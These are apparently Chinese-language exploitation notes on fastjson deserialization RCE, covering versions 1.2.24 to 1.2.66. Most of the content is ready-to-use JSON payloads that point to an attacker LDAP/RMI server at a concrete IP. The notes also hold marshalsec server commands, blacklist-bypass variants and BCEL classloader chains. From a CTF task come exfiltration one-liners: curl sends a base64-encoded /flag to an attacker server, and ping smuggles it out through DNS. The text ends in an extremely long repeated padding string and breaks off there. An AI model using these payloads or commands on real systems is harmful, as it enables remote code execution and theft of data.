[TOC]
出网
trustURLCodebase限制
rmi:
JDK 6u132、 JDK 7u122、JDK 8u113之前
ldap:
JDK 11.0.1、8u191、7u201、6u211之前
fastjson1.2.24(JdbcRowSetImpl)
限制条件
- fastjson<=1.2.24,在此之后在ParseConfig类中新增了checkAutoType函数过滤反序列化的类
- 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类
反序列化链
setAutoCommit:4067,JdbcRowSetImpl
setValue:96,FieldDeserializer //反射调用传入类的set函数
deserialze:600, JavaBeanDeserializer 通过循环调用传入类的共有set,get,is函数
parseObject:368,DefaultJSONParser 解析传入的json字符串
public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet, Joinable {
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();//[1]
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());//[2]
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
}
RMI调用流程(续[2])
角色说明
- 被攻击:主机A
- 恶意JAVA类:主机B
- RMI服务(Remote Method Invocation远程方法调用):主机C
调用流程
- 黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)
- 引发主机A反序列化漏洞,使主机A发出远程调用请求,去连接提供RMI服务的主机C
- 主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类,引发恶意系统命令执行
poc
测试环境来源于vulhub
启动主机B
python3 -m http.server 39653
启动主机C
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://121.5.40.245:39653/#Exploit" 39655
向主机A发送payload
POST / HTTP/1.1 Host: 121.5.40.245:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 161 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://121.5.40.245:39655/Exploit", "autoCommit":true } }
fastjson1.2.41(JdbcRowSetImpl)
利用条件
fastjson<=1.2.41
AutoTypeSupport=true
这一点使得这个链比较鸡肋,默认这个属性是false的,也就是说正常情况下这个漏洞不存在。
无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类
反序列化链
基本流程跟1.2.24相同,区别在于24以后对反序列化链做了黑名单过滤。绕过的方式是在全类名前后分别添加L
和;
,这样就会导致能够绕过黑名单过滤,并且在类加载时,因为有如下代码,导致可以正确加载类
public class TypeUtils {
else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
}
payload
{
"b":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://121.5.40.245:39655/ExploitWin",
"autoCommit":true
}
}
fastjson1.2.42(JdbcRowSetImpl)
利用条件
fastjson<=1.2.42
AutoTypeSupport=true
这一点使得这个链比较鸡肋,默认这个属性是false的,也就是说正常情况下这个漏洞不存在。
无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类
反序列化链
基本流程跟1.2.41相同,42和41的区别在于42对L;
这种绕过方式做了过滤。绕过方式很简单,双写一下L;
即可
public class ParserConfig {
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//这个if条件会得到满足,然后就把L;前后缀给截掉了
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
}
}
payload
{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://121.5.40.245:39655/ExploitWin",
"autoCommit":true
}
}
fastjson1.2.43(JdbcRowSetImpl)
利用条件
fastjson<=1.2.43
AutoTypeSupport=true
这一点使得这个链比较鸡肋,默认这个属性是false的,也就是说正常情况下这个漏洞不存在。
无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类
反序列化链
基本流程跟1.2.42相同,43和42的区别在于42对LL;;
这种绕过方式做了过滤。过滤的方式也很简单粗暴,就是不允许双写LL;;
,
public class ParserConfig {
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
}
}
绕过的方式是利用数组,还是熟悉的loadClass函数,这一次利用这个else分支来进行绕过
public class TypeUtils {
else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
}
payload
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://121.5.40.245:39655/ExploitWin", "autoCommit":true}
fastjson1.2.45(JndiDataSourceFactory)
官方对1.2.24的修复是增加了一个ParseConfig类中新增了checkAutoType函数过滤反序列化的类,但是过滤的不全,可以利用JndiDataSourceFactory类来bypass。
利用条件
- fastjson<=1.2.45
- 项目依赖mybatis
- 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类
payload
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
fastjson1.2.47(JdbcRowSetImpl)
利用条件
fastjson<=1.2.47
无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类
我本机的java版本是1.8.0_144,使用ldap没有限制,而rmi就有限制了,注意这个坑。
反序列化链
首先看payload。在1.2.47的版本中,最大的问题就是在于fastjson在反序列化时如果遇到Class对象,会自动缓存,下次遇到反序列化Class类对应的对象时,就直接从缓存中拿到该对象的Class,取到就直接返回了。由于从缓存中取是优先于黑名单类判断的,导致可以绕过黑名单类的限制。
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}
首先解析a,将com.sun.rowset.JdbcRowSetImpl类的Class缓存
public class DefaultJSONParser implements Closeable { public final Object parseObject(Map object, Object fieldName) { obj = deserializer.deserialze(this, clazz, fieldName);//[1]反序列化对象 } } public class MiscCodec implements ObjectSerializer, ObjectDeserializer { public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { if (clazz == Class.class) { return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());//[2]如果是Class类的对象,则加载strVal指定类名的Class对象 } } } public class TypeUtils { public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null && contextClassLoader != classLoader) { clazz = contextClassLoader.loadClass(className);//调用类加载器加载类 if (cache) { mappings.put(className, clazz);//[3]将类名和Class对象的信息缓存起来 } return clazz; } } }
解析b,利用缓存绕过checkAutoType
public class ParserConfig { public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName);//[1] } } public static Class<?> getClassFromMapping(String className) { return (Class)mappings.get(className);//[2]从缓存中取clazz } if (clazz != null) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz;//[2]缓存中找到clazz,返回clazz } } //黑名单类检测在下面,还未执行到就已经返回。 }
poc
测试环境来源于vulhub
启动主机B
python3 -m http.server 39653
public class ExploitWin { static{ try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args){} }
启动主机C
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://121.5.40.245:39653/#ExploitWin" 39655
发送payload
import com.alibaba.fastjson.JSON; public class Poc { public static void main(String[] args) { String payload="{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://121.5.40.245:39655/ExploitWin\",\"autoCommit\":true}}}"; JSON.parse(payload); } }
fastjson1.2.62(JndiConverter)
checkAutoType过滤不全,可以利用JndiConverter类来bypass。
利用条件
fastjson<=1.2.62
AutoTypeSupport=true
项目依赖xbean-reflect
<dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-reflect</artifactId> <version>4.18</version> </dependency>
无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类
反序列化链
json传入一个asText变量,在反序列化时会触发setAsText,然后调用toObjectImpl触发rmi调用。有趣的是,这里实际上不存在一个asText字段,但是在反序列化时,无论字段是否存在,只要能找到对应的setter方法,就会进行调用。
public class JndiConverter extends AbstractConverter {
public JndiConverter() {
super(Context.class);
}
protected Object toObjectImpl(String text) {
try {
InitialContext context = new InitialContext();
return (Context)context.lookup(text);//[2]
} catch (NamingException var3) {
throw new PropertyEditorException(var3);
}
}
}
public abstract class AbstractConverter extends PropertyEditorSupport implements Converter {
public final void setAsText(String text) {
Object value = this.toObject(this.trim ? text.trim() : text);//[1]
super.setValue(value);
}
}
payload
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://121.5.40.245:39655/ExploitWin"}
fastjson1.2.66
利用条件
- fastjson<=1.2.66
- AutoTypeSupport=true
- 具有对应的依赖
- 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类
payload
以下的payload均未做测试,应该跟1.2.62的差不多,都是利用类过滤不全造成的漏洞。
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
不出网
fastjson1.2.24(BasicDataSource)
这题来源于[省赛]web1 old,考查的是fastjson反序列化,下文将分三个部分进行分析
限制条件
- fastjson<=1.2.24
反序列化链
调用链很短,BasicDataSource.getConnection() ->createDataSource()->createConnectionFactory()。最后发现可以加载类,并且类名和类加载器都可控。
//BasicDataSource.java
public Connection getConnection() throws SQLException {
return this.createDataSource().getConnection();
}
protected synchronized DataSource createDataSource() throws SQLException {
if (this.closed) {
throw new SQLException("Data source is closed");
} else if (this.dataSource != null) {
return this.dataSource;
} else {
ConnectionFactory driverConnectionFactory = this.createConnectionFactory();
/*省略*/
}
}
protected ConnectionFactory createConnectionFactory() throws SQLException {
/*省略*/
if (this.driverClassLoader == null) {
Class.forName(this.driverClassName);
} else {
Class.forName(this.driverClassName, true, this.driverClassLoader);
}
/*省略*/
}
ClassLoader源码分析
payload中为什么会选择com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器?分析源码不难发现,这个类加载器非常好用,它可以直接加载payload传递的字节码的BCEL编码,这样的话就有利于我们构造恶意的类进行加载。不需要写入文件,只需要将BCEL编码放在payload中即可。
ClassLoader这个加载器的loadClass方法(仅展示关键代码)如下,看到[1]处,如果要加载的类名class_name是以$$BCEL$$
开头的,会直接调用[2]处的函数来进行BCEL解码,然后[3]处将解出来的字节码进行类加载。
//com.sun.org.apache.bcel.internal.util.ClassLoader.java
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
if((cl=(Class)classes.get(class_name)) == null) {
if(cl == null) {
JavaClass clazz = null;
/*省略....*/
if(class_name.indexOf("$$BCEL$$") >= 0) //[1]
clazz = createClass(class_name); //[2]
/*省略....*/
if(clazz != null) {
cl = defineClass(class_name, bytes, 0, bytes.length); //[3]
}
}
}
return cl;
}
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true); //BCEL解码
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
return clazz;
}
如何触发getConnection
看到了前面的构造的payload,不知道是否有疑问为什么要嵌套多层json,直接一层不行吗?这里就涉及到Json.parse()和Json.parseObject()的区别了,题目中使用的是Json.parse(),所以需要嵌套多层json。
Json.parse()和Json.parseObject()的区别
先贴出后者的源码,可以发现后者是调用了前者的。不同的地方在于,后者会将parse()后的结果转变为调用toJSON
转变为JSONObject对象。
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
如果调用的是后者,则可以不用多层嵌套。原因是在toJSON中,会利用反射调用对象的getter方法,进而就可以调用到getConnection。
{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}
具体的调用链如下
//JSON.java
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
public static Object toJSON(Object javaObject) {
return toJSON(javaObject, SerializeConfig.globalInstance);
}
public static Object toJSON(Object javaObject, SerializeConfig config) {
Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);
}
//JavaBeanSerializer.java
public Map<String, Object> getFieldValuesMap(Object object) throws Exception {
Map<String, Object> map = new LinkedHashMap(this.sortedGetters.length);
FieldSerializer[] var3 = this.sortedGetters;
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
FieldSerializer getter = var3[var5];//反射调用getter
map.put(getter.fieldInfo.name, getter.getPropertyValue(object));
}
return map;
}
如果是前者,则需要多层嵌套。嵌套后的效果就是在反序列化时,fastjson先对key调用toString,此时[1]处这个{}整体作为key进行toString。而它的类型是com.alibaba.fastjson.JSONObject,是Map的子类,所以toString时会调用getter,进而就调用到了getConnection
{
{[1]
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
payload
这里构造payload的时候有些小技巧,比赛最后才差不多做出来,当时执行的是反弹shell命令,结果失败了,然后比赛就结束了。在反弹shell失败的情况下,可以使用curl或者ping进行flag外带。
curl的方法比较常见
curl http://{你的服务器ip}/?flag=`cat /flag|base64`
ping的方法是头一回见到,可以使用免费的dnslog服务器,申请一个三级子域名,然后将flag放在四级子域名中带回来,命令如下。这里的zi7gws就是我申请到的三级子域名。
需要注意的是,域名当中不能包含一些特殊字符,比如flag当中的大括号就是不行的,如果出现这种不合法的字符,就会导致ping命令执行失败,所以这里我将flag进行hex编码后再带出
ping -c 2 `cat /flag | od -An -w1 -tx1|awk '{for(i=1;i<=NF;++i){printf "%s",$i}}'`.zi7gws.dnslog.cn
{
{
'@type':"com.alibaba.fastjson.JSONObject",
'a':
{
'@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
'driverClassLoader':
{
'@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
'driverClassName':'{恶意类的BCEL编码}',
"DefaultCatalog":"wocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwoc